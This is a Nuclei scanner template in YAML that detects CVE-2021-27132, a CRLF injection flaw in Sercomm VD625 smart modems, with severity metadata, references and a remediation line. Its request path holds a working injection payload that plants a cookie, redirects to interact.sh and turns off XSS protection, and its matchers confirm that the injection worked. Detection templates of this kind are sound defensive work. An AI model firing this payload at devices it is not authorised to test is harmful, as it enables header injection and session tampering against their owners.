48 lines
1.6 KiB
YAML
48 lines
1.6 KiB
YAML
id: CVE-2021-27132
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info:
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name: Sercomm VD625 Smart Modems - CRLF Injection
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author: geeknik
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severity: critical
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description: Sercomm AGCOMBO VD625 Smart Modems with firmware version AGSOT_2.1.0 are vulnerable to Carriage Return Line Feed (CRLF) injection via the Content-Disposition header.
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remediation: |
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Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
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reference:
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- https://cybertuz.com/blog/post/crlf-injection-CVE-2021-27132
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- http://sercomm.com
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- https://nvd.nist.gov/vuln/detail/CVE-2021-27132
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-27132
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cwe-id: CWE-74
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epss-score: 0.03821
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epss-percentile: 0.90867
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cpe: cpe:2.3:o:sercomm:agcombo_vd625_firmware:agsot_2.1.0:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: sercomm
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product: agcombo_vd625_firmware
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tags: cve,cve2021,crlf,injection
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http:
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- method: GET
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path:
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- "{{BaseURL}}/test.txt%0d%0aSet-Cookie:CRLFInjection=Test%0d%0aLocation:%20interact.sh%0d%0aX-XSS-Protection:0"
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matchers-condition: and
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matchers:
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- type: word
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part: header
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words:
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- "Content-Disposition: attachment;filename=test.txt"
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- "Set-Cookie:CRLFInjection=Test"
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- "Location: interact.sh"
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- "X-XSS-Protection:0"
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condition: and
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- type: status
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part: header
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status:
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- 404
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# digest: 490a0046304402201d1473d45bcd69dbfa45a0121c314b71d8da2cf75983cbb5e7e94de521dd4b3602207597a219520d5c3ad3e5c97f194398552cb6803eec5ab7243ad2e6333b8df37d:922c64590222798bb761d5b6d8e72950 |